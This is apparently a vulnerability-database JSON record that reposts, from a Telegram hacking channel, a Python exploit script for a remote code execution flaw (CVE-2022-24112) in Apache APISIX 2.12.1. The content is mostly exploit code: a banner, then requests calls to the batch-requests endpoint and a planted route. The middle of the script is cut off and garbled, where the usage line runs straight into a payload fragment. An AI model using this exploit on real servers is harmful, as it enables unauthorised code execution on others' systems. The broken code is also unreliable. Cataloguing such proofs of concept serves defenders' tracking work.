{"uuid": "cf348588-2c62-464f-bfe0-15a55e0daf21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24112", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46566", "content": "Exploit Collector\nApache APISIX 2.12.1 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png \nApache APISIX version 2.12.1 suffers from a remote code execution vulnerability.\n\nMD5 | 4f5cd36d308c98ca2784eef8f7d83a1e\n\nDownload\n# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)\n# Date: 2022-03-16\n# Exploit Author: Ven3xy\n# Vendor Homepage: https://apisix.apache.org/\n# Version: Apache APISIX 1.3 \u2013 2.12.1\n# Tested on: CentOS 7\n# CVE : CVE-2022-24112\nimport requests\nimport sys\n\nclass color:\nHEADER = '\\033[95m'\nIMPORTANT = '\\33[35m'\nNOTICE = '\\033[33m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nWARNING = '\\033[93m'\nRED = '\\033[91m'\nEND = '\\033[0m'\nUNDERLINE = '\\033[4m'\nLOGGING = '\\33[34m'\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] \ndef banner():\nrun = color_random[6]+'''\\n                                   .     , \n_.._ * __*\\./ ___  _ \\./._ | _ *-+-\n(_][_)|_) |/'\\     (/,/'\\[_)|(_)| | \n|                     | \n\\n'''\nrun2 = color_random[2]+'''\\t\\t(CVE-2022-24112)\\n''' \nrun3 = color_random[4]+'''{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\\n\\n'''\nprint(run+run2+run3) \n\nif (len(sys.argv) != 4):\nbanner()\nprint(\"[!] Usage   : ./apisix-exploit.py &160\\\\\\\\\\\\\"\\'); return true end\"}',\n},\n],\n}\n\nresponse1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)\n\nresponse2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:34.230397Z"}